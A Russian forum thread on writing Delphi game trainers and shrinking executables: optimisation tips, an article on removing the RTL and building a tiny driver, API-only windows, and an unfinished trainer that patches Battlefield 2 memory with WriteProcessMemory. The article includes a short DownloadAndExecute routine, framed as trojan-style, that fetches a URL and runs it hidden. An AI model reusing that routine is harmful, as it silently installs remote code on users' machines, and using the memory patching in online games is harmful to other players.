Перейти к содержанию

Программирование трейнеров на Delphi


Рекомендуемые сообщения

Сразу перейдите на 21 пост этой темы "Создание трейнера для начинающих на VCL"

А если вы знаете Дельфи, то перейдём к тонкостям Дельфи.

Источник: Взято с античата.

  • Передача аргументов.
    Никогда не передавай функции в качестве параметра структуру, лучше передавать указатель на нее
//Ни в коем случае не делай так.
Procedure code (Data:TStructure);
//Правильный вариант
Procedure code (PData:PStructure); //гда PStructure = ^TStrucrur


Старайся передавать своим функциям не более трех параметров, т.к. они передаются через регистры (по соглашению fastcall, принятом по умолчанию в Delphi), а все остальные через стек.
Функции - инварианты
Довольно распространенная ошибка программистов – присутствие функций - инвариантов в цикле.

//Неоптимизированный вариант
While i<= lstrlen(str) do
Begin
X:=x+ord(str[i]);
Inc(i);
End;


Очевидно, что длина str не меняется, но компилятор считает, что все, что передается по ссылке сожжет быть изменено, и lstrlen вычисляется много раз. Оптимизированный вариант выглядит так.

//Так лучше
N:=lstrlen(str);
While i<= n do
Begin
X:=x+ord(str[i]);
Inc(i);
End;


Экономия памяти
Когда класс располагается в памяти, то между полями появляются пустые ячейки памяти. Это происходит потому, что Delphi, оптимизируя код, каждое поле располагает от предыдущего со сдвигом в 4 байта.

// Неоптимизированный вариант
TMyClass = class
private
field1: boolean;//1 байт
field2: longint; //4 байт
field3: char; //1 байт
field4: string; //4 байт
field5: byte; //1 байт
field6: integer; //4 байт
field7: byte; //1 байт
public
procedure code;
end;


Реально этот экземпляр класса будет занимать 28 байт. Если мы изменим порядок полей, то сможем добиться уменьшения размера до 16 байт. В нашем примере после field1 размером 1 байт идет field2 размером 4 байта, значит, мы теряем 3 байта на выравнивание. Если же размер field2 не превышал 3 байт, то Delphi не стал бы выравнивать, а поместил бы это поле сразу после первого.
Код:
// Оптимизированный вариант

TMyClass = class
private
field1: boolean; //1 байт
field3: char; //1 байт
field5: byte; //1 байт
field7: byte; //1 байт
field2: longint; //4 байт
field4: string; //4 байт
field6: integer; //4 байт
public
procedure code;
end;


[*:29vn0yvr]Компиляция без RTL (Run Time Library)
Как известно минимальный размер скомпилированной в Delphi программы с настройками по умолчанию равен 13,5 Кб. Виной тому принудительно подключаемая Delphi RTL, в которой реализованы некоторые возможности языка Delphi.
Для уменьшения размера скомпилированных прог исправим модели System.pas и SysInit.pas, удалив все «лишнее». Затем перекомпилируем их и полученные dcu-файлы поместим в папку с прогой.
Минимальный System.pas

unit System;

interface

procedure _HandleFinally;

type
TGUID = record
D1: LongWord;
D2: Word;
D3: Word;
D4: array [0..7] of Byte;
end;

PInitContext = ^TInitContext;
TInitContext = record
OuterContext: PInitContext;
ExcFrame: Pointer;
InitTable: pointer;
InitCount: Integer;
Module: pointer;
DLLSaveEBP: Pointer;
DLLSaveEBX: Pointer;
DLLSaveESI: Pointer;
DLLSaveEDI: Pointer;
ExitProcessTLS: procedure;
DLLInitState: Byte;
end;

implementation

procedure _HandleFinally;
asm
end;

end.


Минимальный SysInit.pas

unit SysInit;

interface
procedure _InitExe;
procedure _halt0;
procedure _InitLib(Context: PInitContext);

var
ModuleIsLib: Boolean;
TlsIndex: Integer = -1;
TlsLast: Byte;

const
PtrToNil: Pointer = nil;

implementation

procedure _InitLib(Context: PInitContext);
asm
end;

procedure _InitExe;
asm
end;

procedure _halt0;
asm
end;
end.


Компиляция

Dcc32.exe – Q System.pas SysInit.pas –M –Y –Z -$D- -O


Экстремально маленький Hello Word! на Delphi.
Собирать исполняемый файл линкером от Microsoft. К сожалению, майкрософтовкий линкер понимает только COFF и Intel OMF, наотрез отказываясь работать с Borland OMF. Delphi же, начиная с третьей версии, перешла с формата Intel OMF на Borland OMF. Поэтому компилировать придется компилятором от Delphi 3.

Unit HelloWord;
Interface
Procedure Start;
Implementation
Function MessageBoxA(hWnd:cardinal; IpText, IpCaption:Pchar; uType:Cardinal): Integer; stdcall; external ‘user32.dll’ name ‘_MessageBoxA@16’;
Procedure Start;
Begin
MessageBoxA(0,’Hello word!’,nil,0);
End;
End.


Ти модуля Unit нужен для того, чтобы компилятор сгенерировал в объектном файле символьные имена объявленных процедур.
Компилируем:

Dcc32.exe –JP -$A-,B-,C-,D-,G-,H-,I-,J-,L-,M-,O+,P-,Q-,R-,T-,U-,V-,W+,X+,Y- HelloWord.pas


Открываем файл HelloWord.obj в HEX-редакторе и смотрим во что превратилась наша точка входа. Допустим Start$wwrv. Теперь выполняем сборку

Link.exe /ALIGN:32 /FORCE:UNRESOLVED /SUBSYSTEM:WINDOWS /ENTRY:Start$wwrv HelloWord.obj user32.lib /out:Hello.exe


В результате имеем файл размером 832 байта.

Статья про маленький размер приложения:

Выжимаем из Delphi все возможное

Ты пишешь на Delphi, но тебе не нравиться размер проги в 400 кб? Ничего, можно и до 850 байт сократить...

Вступление

В кругах низкоуровневых программистов существует устоявшееся мнение о том, что Delphi полный остой, так как не годится для системного программирования. Обьясняют это обычно тем, что компилятор генерирует медленный и большой код, а средний размер пустой формы с кнопкой — 400 килобайт. Обычно этим аргументация обычно и заканчивается (иногда просто говорят что дельфи дерьмо вообще без всякой аргументации). На форумах существуют «священные» войны между поклонниками С++ и Delphi, где каждый доказывает что его любимый язык лучше. Поклонники С++ обычно кричат про супернавороченный синтаксис и мошьные возможности ООП (при этом утверждая, что в системном программировании все это незаменимо!), а поклонники Delphi опять же кричат про те возможности ООП которых нет в С++ да и еще про то, что на дельфи все пишется куда проще. Мо моему мнению — это просто крики ламеров, так как по их словам можно заключить, что ни та ни другая сторона обычно ни про Delphi ни про C++ ничего толком не знает.

Эта статья будет посвящена приемам системного программирования на Delphi, тут мы будем делать на дельфи то, что многие считают невозможным. Эта статья для тех, кто пишет программы на Delphi и при этом хочет добиться максимальной эффективности кода, но не боится вложить в это определенный труд. По оптимизации кода в С++ написано весьма немало статей, а про оптимизацию в Delphi хороших статей просто нет. Видно все считают — что никакая оптимизация здесь не нужна. Тем, кого устраивает 400 килобайтный размер пустой формы с кнопкой статью читать я не рекомендую (все равно толку то...), а тем кто упорно отстаивает мнение о ненужности дельфи лучше тоже не читать, чтобы не расстраивать нервы и не развеивать священные заблуждения.

Немного о генерируемом компилятором коде

Для начала следует проверить удтверждение, что компилятор Delphi генерирует много лишнего и неэффективного кода. Для этого я напишем функцию скачивающую и запускающую файл из интернета (такие вещи обычно используют в троянах), писать будем естественно с применением API. Вот что у меня получилось:

procedure DownloadAndExecute (Source: PChar); stdcall;

const

DestFile = 'c:trojan.exe';

begin

UrlDownloadToFile (nil, Source, DestFile, 0, nil);

WinExec (DestFile, SW_HIDE);

end;

Этот код я вставил в программу, скомпилировал и дизассемблировал в IDA. Вот его откомментированый листинг:

DownloadAndExecute proc near

Source = dword ptr 8

push ebp

mov ebp, esp

push 0 ; LPBINDSTATUSCALLBACK

push 0 ; DWORD

push offset DestFile ; LPCSTR

mov eax, [ebp+Source]

push eax ; LPCSTR

push 0 ; LPUNKNOWN

call URLDownloadToFileA

push 0 ; uCmdShow

push offset DestFile ; lpCmdLine

call WinExec

pop ebp

retn 4

DownloadAndExecute endp

DestFile db 'c:trojan.exe',0

Ну и где же куча лишнего кода о котором некоторые так любят говорить? Все просто и красиво. Из этого можно сделать вывод, что компилятор гнерирует вполне приличный код, размер которого весьма невелик. То что сгенерировал компилятор весьма похоже на аналогичный код написанный вручную на ассемблере. Тем более, некоторые люди не знающие ассемблера, но пытающиеся что-то на нем писать иногда такое выдают, что любые ошибки компилятора покажутся мелочью . Так почему программы написанные на дельфи такие большие? Откуда все-таки берется лишний код, если компилятор его не генерирует. Сейчас мы разберем этот вопрос подробнее.

ООП — двигатель прогреса

ООП — весьма модное в настоящее время направление развития индустрии программирования. Цель ООП — упростить написание программ и сократить сроки их разработки, и несомненно с этой целью ООП прекрасно справляется. Большинство программистов пишущих на С++ или Delphi прикладные приложения, не мыслят даже о самой возможности программирования без ООП. Если ты относишся к их группе, то немедленно бросай читать статью, так как она не для тебя.

Взглянем на ООП глазами системного программитса. ООП дает простоту написания, это плюс, но у него есть и обратная сторона — это качество генерируемого кода. Допустим, у нас есть класс который наследуется от другого класса. При создании обьекта этого класса компилятор будет вынужден включить в его состав также код родительского класса полностью, так как нет возможности определить, какие методы классов использоваться не будут. А если у нас будет целое дерево наследования классов (как это обычно и бывает в реальных программах), то код этого дерева будет полностью включен в состав программы, и от этого никуда не денешся. Вызов методов класса производится через таблицу, что увеличивает время вызова. А если метод наследуется от родителя в десятом поколении, то и вызов пройдет через десять таблиц, прежде чем достигнет обрабатывающего его кода. Получается, что вместе с кучей мертвого кода мы получаем еще низкую эффективность того, что работает.

Хороший пример применения ООП — это библиотека VCL в дельфи. Этот пример в полной мере демонстрирует все достоинства и недостатки ООП. С одной стороны — черезвычайная простота написания программ, с другой — огромнейшее количество мертвого кода и ужасно низкая его производительность.

ООП позволяет писать всякую фигню (обычно связанную с базами данных) за короткое время. Главный принцип — быстрее сдал программы, быстрее получил деньги. Естественно, что в таких условиях о всякой эффективности кода просто забывают. А что? Тормозит? Так пусть клиент купить компьютер помощьнее... Но нам естественно такие результаты не нужны.

Теперь мы нашли источник всех бед, вот она причина большого размера программ написанных на деьфи, это ООП, и в частности VCL. Некоторые прочитав это зададутся вопросом, почему программа написанная на дельфи с применением VCL занимает гораздо больше места, чем программа написаггая на VB, или на VC с применением MFC. Ответ прост — потому, что великая и ужасная фирма Micro$oft приложила к этому свою лапу. MFC и рунтайм библиотеки в VB занимают ничуть не меньше места, просто они скомпилены в DLL и входят в поставку Windows, а значит их код не приходится таскать с собой в программах, а программа на Delphi содержит весь необходимый для своей работы код. В защиту Borland можно сказать то, что такая возможность присутствует и в Delphi. Нужно просто в настройках проекта поставить галочку «Build with runtime packages», тогда размер программы значительно уменьшится, но она потребует наличия соответствующих Runtime библиотек. Так как Borland не выпускает Windows, то естественно эти библиотеки в поставку винды не входят, но в этом надо винить не Борланд, а монопольную политику мелкософта.

Любители ООП желающие разрабатывать программы в визуальном режиме могут использовать KOL. Это попытка сделать что-то типа VCL, но с учетом недостатков ООП. Средний размер пустой формы с кнопкой на KOL — 35кб, что уже лучше, но к сожалению для серьезных приложений эта библиотека не подходит, так как часто глючит. Да и решение это половинчатое, те кто хочет добиться действительно высокой эффективности коды должны принять другое решение — забыть про ООП и все что с ним связано раз и навсегда. Писать программы придется только на чистом API.

Из всего вышесказанного можно сделать вывод, что ООП двигатель прогресса, но с точки зрения

системного программиста ООП двигает прогресс только назад.

Виновник номер два

Создадим в Delphi пустой проект, хаведомо не содержащий никакого полезного кода:

program Sample;

begin

end.

После компиляции в Delphi 7 мы получаем екзешник размером в 13,5 кб. Почему так много? Ведь в программе то ничего нет. Ответ на этот вопрос опять поможет дать IDA. Дизассемблируем полученный экзешник и посмотрим, что собственно он содержит. Точка входа в программу будет выглядеть так:

public start

start:

push ebp

mov ebp, esp

add esp, 0FFFFFFF0h

mov eax, offset ModuleId

call _InitExe

; здесь мог бы быть наш код

call _HandleFinally

CODE ends

Весь лишний код находится функциях _InitExe и _HandleFinally. Связано это с тем, что к каждой Delphi программе неявно подключается код входящий в состав RTL (Run Time Library). RTL нужна для поддержки таких возможностей языка как ООП, работа со строками (string), специфичные для паскаля функции (AssignFile, ReadLn, WriteLn e.t.c.). InitExe выполняет инициализацию всего этого добра, а HandleFinally обеспечивает корректное освобождение ресурсов.

Сделано это опять же для упрощения жизни программистам, и применение RTL иногда оправдано, так как может не понизить, а повысить эффективность кода. Например в состав RTL входит менеджер кучи, который позволяет быстро выделять и освобождать маленькие блоки памяти. По своей эффективности он в три раза превосходит системный. Работа со строками реализована в RTL тоже довольно неплохо с точки зрения производительности генерируемого кода, но с точки зрения увеличения размера файла, RTL — виновник номер два (после ООП).

Уменьшаем размер

Если минимальный размер в 13.5 кб вас не устраивает, то будет убирать Delphi RTL. Весь код RTL находится в двух файлах: System.pas и SysInit.pas. К сожалению, компилятор подключает их к программе в любом случае, поэтому единственное что можно сделать — это удалить из этих модулей весь код, без которого программа может работать, и перекомпилить модули, а полученные DCU файлы положить в папку с программой.

Файл System.pas содержит основной код RTL и поддержки классов, но все это мы выбросим. Минимальное содержимое этого файла будет выглядеть так:

unit System;

interface

procedure _HandleFinally;

type

TGUID = record

D1: LongWord;

D2: Word;

D3: Word;

D4: array [0..7] of Byte;

end;

PInitContext = ^TInitContext;

TInitContext = record

OuterContext: PInitContext;

ExcFrame: Pointer;

InitTable: pointer;

InitCount: Integer;

Module: pointer;

DLLSaveEBP: Pointer;

DLLSaveEBX: Pointer;

DLLSaveESI: Pointer;

DLLSaveEDI: Pointer;

ExitProcessTLS: procedure;

DLLInitState: Byte;

end;

implementation

procedure _HandleFinally;

asm

end;

end.

Описания структуры TGUID компилятор требует в любом случае, и без ее наличия компилировать модуль отказывается. TInitContext понадобиться, если мы будем компилировать DLL, без описания этой структуры линкер собирать DLL отказывается. HandleFinally — процедура освобождения ресурсов RTL, компилятору она тоже необходима, хотя может быть пустой.

Теперь урежем файл SysInit.pas, который содержит код инициализации и завершения работы RTL и управляет поддержкой пакетов. Минимальный файл SysInit.pas будет выглядеть так:

unit SysInit;

interface

procedure _InitExe;

procedure _halt0;

procedure _InitLib (Context: PInitContext);

var

ModuleIsLib: Boolean;

TlsIndex: Integer = -1;

TlsLast: Byte;

const

PtrToNil: Pointer = nil;

implementation

procedure _InitLib (Context: PInitContext);

asm

end;

procedure _InitExe;

asm

end;

procedure _halt0;

asm

end;

end.

InitExe — процедура инициализации RTL для EXE файлов, InitLib — для DLL, halt0 — завершение работы программы. Все остальное же просто требуется компилятором.

Но те лишние структуры и переменные, которые пришлось оставить в выходной файл включаться не будут и никак не повлияют на его размер. Терерь положим эти два файла в папку с проектом и скомпилируем их из коммандной строки.

dcc32.exe -Q system.pas sysinit.pas -M -Y -Z -$D- -O

Терерь мы наконец избавились от RTL, попробуем скомпилировать пустой проект, и получаем экзешник размером в 3,5 кб. Откуда взялся такой размер в пустом проекте? Борландовский линкер создает ы исполнимом файле 6 секций, и при выравнивании секций в файле по 512 байт + размер PE заголовка, мы как раз получаем размер в 3.5 кб.

Но в добавок к малому размеру мы получаем определенные неудобства, так как заголовочные файлы на WinAPI идущие с Delphi мы использовать не сможем, вместо них придется писать свои. Но это не трудно, так как описания используемых API можно брать с борландовских хедеров и переносить в свои по мере необходимости. С проблемой увеличения рвзмера можно столкнуться тогда, когда в составе проекта есть несколько PAS файлов. Борландовский линкер в такой ситуации может для выравнивания кода вставлять в файл пустые участки. Чтобы этого избежать — нужно всю программу (включая определения API) помещать в один файл. Это весьма неудобно, поэтому лучше воспользоваться директивой препроцессора $INCLUDE и разнести код на несколько inc файлов. Тут может встретиться еще одна проблема — повторные вставки одного и того же кода (когда несколько inc файлов подключают один и тот же inc), компилятор в таких случаях компилировать откажется. Чтобы этого избежать нужно воспользоваться директивами условной компиляции, полсе чего любой inc файл будет иметь вид:

{$ifndef win32api}

{$define win32api}

// здесь идет наш код

{$endif}

Таким образом можно писать без RTL достаточно сложные программы и забыть о неудобствах.

Можно еще меньше!

Наверняка минимальный размер экзешника в 3.5кб удовлетворит не всех, но если постараться, то можно добиться еще большего уменьшения размера. Для этого нужно отказаться от удобств работы с борландовским линкером и собирать исполнимые файлы линкером от Microsoft. Но к сожадению, здесь нас ждет одна загвоздка. Проблема в том, что основным рабочим форматом мелкософтовского линкера является COFF, но он может понимать и интеловский OMF. Но программисты борланда (видать с целью создать несовместимость с микрософт) в версиях Delphi выше третьей изменили генерируемый формат obj файлов так, что теперь он несовместим с Intel OMF. Тоесть теперь существуют два вида OMF: Intel OMF и Borland OMF. Программы способной конвертировать обьектные файлы из формата Brland OMF в COFF или Intel OMF я не нашел. Поэтому придется использовать компилятор от Delphi 3, который генерирует стандартный Intel OMF обьектный файл. Импорт используемых API нам тоже придется описывать вручную, но его описание несколько отличается. Для начала возьмем библиотеку импорта user32.lib из состава Visual C++ и откроем ее в HEX редакторе. Имена функций библиотеки имеют такой вид: «_MessageBoxA@16», где после @ идет размер передаваемых параметров. Следовательно обьявлять функции мы будем таким образом:

function MessageBoxA (hWnd: cardinal; lpText, lpCaption: PChar; uType: Cardinal): Integer;

stdcall; external 'user32.dll' name '_MessageBoxA@16';

Попробуем теперь написать HelloWorld как можно меньшего размера. Для этого создаем проект такого типа:

unit HelloWorld;

interface

Procedure Start;

implementation

function MessageBoxA (hWnd: cardinal; lpText, lpCaption: PChar; uType: Cardinal): Integer;

stdcall; external 'user32.dll' name '_MessageBoxA@16';

Procedure Start;

begin

MessageBoxA (0, 'Hello world!', nil, 0);

end;

end.

Тип модуля UNIT нужен для того, чтобы компилятор генерировал в обьектном файле символьные имена обьявленных процедур. В нашем случае это будет процедура Start, которая будет являться точкой входа в программу. Теперь компилируем проект следующей строкой:

dcc32.exe -JP -$A- ,B- ,C- ,D- ,G- ,H- ,I- ,J- ,L- ,M- ,O+,P- ,Q- ,R- ,T- ,U- ,V- ,W+,X+,Y- HelloWorld.pas

После компиляции получим файл HelloWorld.obj, который откроем в HEX редакторе и посмотрим во что превратилась наша точка входа. У меня получилось Start$qqrv. Это имя нужно указать как точку входа при сборке исполнимого файла. И наконец выполним сборку:

link.exe /ALIGN:32 /FORCE:UNRESOLVED /SUBSYSTEM:WINDOWS /ENTRY:Start$qqrv HelloWorld.obj user32.lib /out:Hello.exe

В результате мы получаем работающий HelloWorld размером в 832 байта! Я думаю, что этот размер удовлетворит любого. Попробуем теперь дизассемблировать этот файл в IDA и поискать лишний код:

; Attributes: bp-based frame

; char Text[]

Text db 'Hello world!',0

public start

start proc near

push 0 ; uType

push 0 ; lpCaption

push offset Text ; lpText

push 0 ; hWnd

call MessageBoxA

retn

start endp

Как мы видим — ни одного байта лишнего кода! Я думаю ты покажешь этот пример тем, кто много говорит о большом размере программ написанных на дельфи. По своему опыту знаю, что прикольно бывает наблюдать после этого за их выражением лица Хотя самые упорные продолжают говорить а... э..., все равно дерьмо..., но никто не может сказать ничего по существу. Но только самые продвинутые спорщики приводят последний аргумент — на Delphi нельзя написать драйвер режима ядра для Windows NT. Ничего... сейчас у них не останется аргументов вообще .

Пишем драйвер на Delphi

Используя эту методику можно не только писать очень маленькие программы, можно даже сделать то, что раньше считалось невозможным — написать на Delphi драйвер режима ядра. Об этом даже есть статья на RSDN, и всем интересующимся рекомендуу ее прочитать. Здесь же я приведу пример простейшего драйвера и содержимое make.bat для его сборки.

Файл Driver.pas:

unit Driver;

interface

function DriverEntry (DriverObject, RegistryPath: pointer): integer; stdcall;

implementation

function DbgPrint (Str: PChar): cardinal; cdecl; external 'ntoskrnl.exe' name '_DbgPrint';

function DriverEntry (DriverObject, RegistryPath: pointer): integer;

begin

DbgPrint ('Hello World!');

Result := -1;

end;

end.

Файл make.bat:

dcc32.exe -JP -$A- ,B- ,C- ,D- ,G- ,H- ,I- ,J- ,L- ,M- ,O+,P- ,Q- ,R- ,T- ,U- ,V- ,W+,X+,Y- Driver.pas

link.exe /DRIVER /ALIGN:32 /BASE:0?10000 /SUBSYSTEM:NATIVE /FORCE:UNRESOLVED /ENTRY:DriverEntry$qqspvt1 Driver.obj ntoskrnl.lib /out:Driver.sys

Для компиляции нам понадобиться файл ntoskrnl.lib из DDK. После компиляции мы получим драйвер размером 1 кб, который выводит сообщение Hello World в отладочную консоль и возвращает ошибку, а поэтому в памяти не остается, что не требует определения функции DriverUnload. Для запуска драйвера можно использовать KmdManager от Four-F, посмотреть на результаты его работы можно в софтайсе или DbgView.

При наличии некоторых знаний можно писать на Delphi вполне полноценные драйвера. Но здесь есть одна больщая проблема — отсутствие DDK. Для написания драйверов нужны заголовояные файлы на API ядра и описания большого количества системных структур. Все это богатство есть как для С (от Microsoft), так и для MASM32 (от Four-F). Есть слух, что DDK для паскаля уже существует, но его автор продает его за деньги и сильно этот факт не офиширует. Но я думаю, что найдутся энтузиасты, которые перепишут DDK на паскаль и выложат для всеобщего использования. Другой проблемой является то, что большинство примеров связанных с системным программированием написаны на си, поэтому на каком бы языке вы не писали свои программы, а си знать придется. Это конечно не означает, что придется изучать С++ в полном его обьеме. Для понимания системных программ хватит базовых знаний синтаксиса си, а все остальное используется в только в прикладных програмах которые нас совершенно не интересуют.

Переносимость кода

При программировании на стандартных Delphi компонентах, в добавок к куче недостатков мы получаем еще одно достоинство — некоторую переносимость кода. Если программа использует только возможности языка, но не возможности системы, то она будет легко компилироваться в Kilix и работать в Linux. Вся проблема в том, что без использования возможностей системы мы получим настоящее глюкалово (Шедевр Ламерского Искусства), тяжелую и неэффективную программу. Тем не менее, при написании серьезных программ по вышеописанным методикам все-таки хочется иметь некоторую независимость от системы. Получить такую независимость очень просто, достаточно писать код не использующий ни API функций ни возможностей языка вообще. Такой код в некоторых случаях писать совершенно невозможно (например в играх), но иногда функции системы абсолютно не нужны (например в математических алгоритмах). В любом случае, следует четко разделять машиннозависимую и машиннонезависимую (если такая есть) части кода. При соблюдении вышеописанных правил машиннонезависимая часть будет совместима на уровне исходных текстов с любой системой, для которой есть компилятор паскаля (а он есть даже для PIC контролеров). Независимый от API код можно смело компилировать в DLL и использовать например в драйвере режима ядра. Также такую длл не составит труда использовать и в других ОС, для этого нужно просто посекционно отмапить длл в адресное пространство процесса, настроить релоки и можно смело пользоваться ее функциями. Код на паскале это осуществляющий занимает около 80 строк. Если же DLL все-таки использует некоторые API функции, то их наличие можно проэмулировать, заполнив таблицу импорта DLL адресами заменяющих их функций в своей программе.

Общие приемы оптимизации

Старайся везде, где можно использовать указатели. Никогда не передавай данные в функцию таким образом:

procedure FigZnaet (Data: TStructure);

Всегда передавай указатели на структуры:

procedure FigZnaet (pData: PStructure); где PStructure = ^TStructure;

Такой вызов происходит быстрее и экономит немалое количество кода.

Старайся не пользоватся типом данных sring, вместо него всегда можно использовать Pchar и обрабатывать строки вручную. Если нужен временный буффер для хранения строки, то его следует обьявить в локальных переменных как array of Char. Старайся передавать в функцию не больее трех параметров. Это обьясняется тем, что первые три параметра согласно методу вызова fastcall (который по умолчанию применяется в Delphi) передаются в регистрах, а все последующие через стек, что замедляет доступ к ним и увеличивает размер кода. Экономь память, если например у тебя есть массив чисел, диапазон которых укладывается в байт, то не нужно обьявлять его как dword. Никогда не стоит писать повторяющийся код. Если какие-либо действия следует делать повторно, то их нужно вынести в функцию, но тем не менее не стоит делать функции содержащие 2 строчки кода, так как вызов такой функции может занимать куда больше места, чем она сама. И помни главное — эффективность кода в первую очередь определяется не компилятором, а примененным алгоритмом, при этом разница в эффективности может составлять сотни раз!

Заключение

Итак, я думаю, что прочитав эту статью ты станешь писать на дельфи весьма маленькие и быстрые программы. Также я думаю, что ты обязательно расскажешь об этом всем, кто в такой возможности сомневается. Пора покончить с мнением, что дельфи дерьмо, и я думаю, ты в это дело вложишь долю своего труда.

Автор: Ms-Rem (MircroSoft REMover) Ms-Rem@yandex.ru

Ссылка на комментарий
Поделиться на другие сайты

Создание пустого окна на Дельфи без VCL (8 кб с пакером)

Главная программа.

Program Api;
uses
Forms,
WindowTrainer in 'WindowTrainer.pas',
cnst in 'cnst.pas',
CEcheats in 'CEcheats.pas';

begin
WindowCreateTrainer;
end.

Модуль Окна WindowTrainer

unit WindowTrainer;

interface
uses windows, messages;

procedure WindowCreateTrainer;

var
window:TWndClassEx;
Mwindow: HWND;
Mmsg: MSG;

implementation
uses cnst;

// Процедура обработки сообщений
function WindowProc (wnd: HWND; msg: integer; wparam: WPARAM; lparam: LPARAM):LRESULT;STDCALL;
begin
case msg of
WM_Destroy:
begin
PostQuitMessage (0);
Result := 0;
Exit;
end;
else
Result := DefWindowProc(wnd,msg,wparam,lparam);
end;
end;

procedure WindowCreateTrainer;
begin
// Ристрация класса окна
window.cbSize := sizeof (window);
window.style := CS_HREDRAW or CS_VREDRAW;
window.lpfnWndProc := @WindowProc;
window.cbClsExtra := 0;
window.cbWndExtra := 0;
window.hInstance := HInstance;
window.hIcon := LoadIcon (0,IDI_APPLICATION);
window.hCursor := LoadCursor (0,IDC_ARROW);
window.hbrBackground:=Color_BtnFace+12;
window.lpszMenuName := nil;
window.lpszClassName := 'frmTrainer';
RegisterClassEx (window);
// Создание окна на основе созданного класса
Mwindow := CreateWindowEx(0,'frmTrainer',trname, WS_OVERLAPPEDWINDOW - WS_MAXIMIZEBOX+WS_EX_TOOLWINDOW-WS_THICKFRAME,100,100,300,300,0,0,Hinstance,nil);
// Показать созданное окно
SHOWWINDOW (Mwindow,SW_Show);

// Цикл обработки сообщений
while GetMessage (Mmsg,0,0,0) do
begin
TranslateMessage (Mmsg);
DispatchMessage (Mmsg);
end;

end;

Получаем 15 кб на Дельфи 10,а если сжать пакером, то около 9 кб

Ссылка на комментарий
Поделиться на другие сайты

  • 4 недели спустя...

Короче почистил я её и вот что получилось:

Program Api;
uses
WindowTrainer;
begin
WindowCreateTrainer;
end.

unit WindowTrainer;
interface
uses
windows,
messages;

procedure WindowCreateTrainer;

var
window:TWndClassEx;
Mwindow: HWND;
Mmsg: MSG;

implementation

function WindowProc (wnd: HWND; msg: integer;
wp: WPARAM;
lp: LPARAM):LRESULT;STDCALL;
begin
Result := 0;
case msg of
WM_CLOSE : PostMessage(wnd, WM_QUIT, 0, 0);
else
Result := DefWindowProc(wnd, msg, wp, lp);
end;
end;

procedure WindowCreateTrainer;
begin
window.cbSize := sizeof (window);
window.style := CS_HREDRAW or CS_VREDRAW;
window.lpfnWndProc := @WindowProc;
window.cbClsExtra := 0;
window.cbWndExtra := 0;
window.hInstance := HInstance;
window.hIcon := LoadIcon (0,IDI_APPLICATION);
window.hCursor := LoadCursor (0,IDC_ARROW);
window.hbrBackground:=Color_BtnFace+12;
window.lpszMenuName := nil;
window.lpszClassName := 'frmTrainer';
RegisterClassEx (window);
Mwindow := CreateWindowEx(0,'frmTrainer',
'Demo Window',
WS_OVERLAPPEDWINDOW -
WS_MAXIMIZEBOX+
WS_EX_TOOLWINDOW-
WS_THICKFRAME,100,100,300,300,0,0,Hinstance,nil);
SHOWWINDOW (Mwindow,SW_Show);
while GetMessage (Mmsg,0,0,0) do
begin
TranslateMessage (Mmsg);
DispatchMessage (Mmsg);
end;
end;
end.

П.С. С модулем ...uses Forms... приложение с размером 16 кб никогда не получится :D

  • Плюс 1
Ссылка на комментарий
Поделиться на другие сайты

Меня можно лишь обвинить в мусоре в коде.

Мой Дельфинский компилятор не используемые модули не учитывает, т.е. Forms.pas не учитывал. Так что у меня было 16 Кб.

Спасибо, что почистил )

Ссылка на комментарий
Поделиться на другие сайты

Простой пример трейнера с использованием ToolHelp 32 API:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, tlhelp32, StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Timer1: TTimer;
Label1: TLabel;
Label18: TLabel;
Label2: TLabel;
procedure Timer1Timer(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
PidHandle: integer;
PidID : integer;
byteArr : Array of byte;
Const
ProgramName = 'BF2.exe';

implementation

{$R *.dfm}

// tlhelp32 function to Loop through processes and locate your target
function GetProcessID(Const ExeFileName: string; var ProcessId: integer): boolean;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
result := false;
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
while integer(ContinueLoop) <> 0 do begin
if (StrIComp(PChar(ExtractFileName(FProcessEntry32.szExeFile)), PChar(ExeFileName)) = 0)
or (StrIComp(FProcessEntry32.szExeFile, PChar(ExeFileName)) = 0) then begin
ProcessId:= FProcessEntry32.th32ProcessID;
result := true;
break;
end;
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;

//Write 1 byte to memory
procedure poke1(Address: Cardinal; Data: Byte);
var
Written: Cardinal;
begin
WriteProcessMemory(PidHandle, Pointer(Address), @Data, SizeOf(Data), Written);
end;

//Write 2 bytes to memory
procedure poke2(Address: Cardinal; Data: Word);
var
Written: Cardinal;
begin
WriteProcessMemory(PidHandle, Pointer(Address), @Data, SizeOf(Data), Written);
end;

//Write 4 bytes to memory
procedure poke4(Address: Cardinal; Data: Cardinal);
var
Written: Cardinal;
begin
WriteProcessMemory(PidHandle, Pointer(Address), @Data, SizeOf(Data), Written);
end;

//Write an Array of bytes to memory
procedure pokeX(Address: Cardinal; Data: Array of Byte);
var
Written: Cardinal;
begin
WriteProcessMemory(PidHandle, Pointer(Address), @Data, SizeOf(Data), Written);
end;


//Example Function Call 1
procedure TForm1.Button1Click(Sender: TObject);
begin
if GetProcessID(ProgramName, PidId) then
begin
PidHandle := OpenProcess(PROCESS_ALL_ACCESS,False,PidId);
poke1($401000, $90);
poke2($401001, $9090);
poke4($401003, $90909090);
closehandle(PidHandle);
end else
begin
MessageDlg('Start BF2 First.', mtwarning, [mbOK],0);
end;
end;

//Example Function Call 2
procedure TForm1.Button2Click(Sender: TObject);
begin
if GetProcessID(ProgramName, PidId) then
begin
PidHandle := OpenProcess(PROCESS_ALL_ACCESS,False,PidId);
SetLength(byteArr, 16);
byteArr[0] := $8B;
byteArr[1] := $71;
byteArr[2] := $10;
byteArr[3] := $0F;
byteArr[4] := $85;
byteArr[5] := $6A;
byteArr[6] := $9D;
byteArr[7] := $FD;
byteArr[8] := $FF;
byteArr[9] := $83;
byteArr[10] := $7E;
byteArr[11] := $0C;
byteArr[12] := $00;
byteArr[13] := $0F;
byteArr[14] := $85;
byteArr[15] := $60;
pokeX($401007, byteArr);
